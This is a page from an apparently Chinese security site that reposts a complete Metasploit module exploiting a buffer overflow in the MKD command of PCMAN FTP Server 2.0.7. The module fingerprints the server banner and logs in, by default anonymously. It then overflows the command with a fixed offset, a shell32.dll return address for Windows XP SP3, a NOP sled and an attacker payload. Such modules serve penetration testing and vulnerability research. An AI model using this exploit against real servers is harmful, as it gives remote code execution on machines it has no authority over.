首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PCMAN FTP Server 2.0.7 MKD Buffer Overflow
来源:metasploit.com 作者:R-73eN 发布时间:2017-04-13  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Buffer Overflow - MKD Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the MKD command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credientials are enabled.
      },
      'Author'         =>
          [
            'R-73eN',      # Initial Discovery -- https://www.exploit-db.com/exploits/36078/
            'Ye Yint Min Thu Htut'   # msf Module -- @yeyint_mth @yehg
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB',   ''],
          [ 'OSVDB',   '']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\x0A\x0D",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x7CA58265, # shell32.dll
              'Offset' => 2007
            }
          ],
        ],
      'DisclosureDate' => 'Feb 14 2015',
      'DefaultTarget'  => 0))
  end

  def check
    connect_login
    disconnect

    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end


  def exploit
    connect_login

    print_status('Creating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << payload.encoded

    send_cmd( ["mkd", sploit], false )
    disconnect
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PCMAN FTP Server 2.0.7 NLST Bu
·Adobe Creative Cloud Desktop A
·PCMAN FTP Server 2.0.7 GET Buf
·Solaris 7 - 11 (x86 & SPARC) -
·PCMAN FTP Server 2.0.7 ACCT Bu
·Cisco Catalyst 2960 IOS 12.2(5
·XiongMai uc-http 1.0.0 Local F
·GNS3 Mac OS-X 1.5.2 - 'ubridge
·Proxifier 2.19 Privilege Escal
·PonyOS 4.0 - 'fluttershy' LD_L
·Apple WebKit - 'JSC::SymbolTab
·Microsoft Windows Kernel - 'wi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved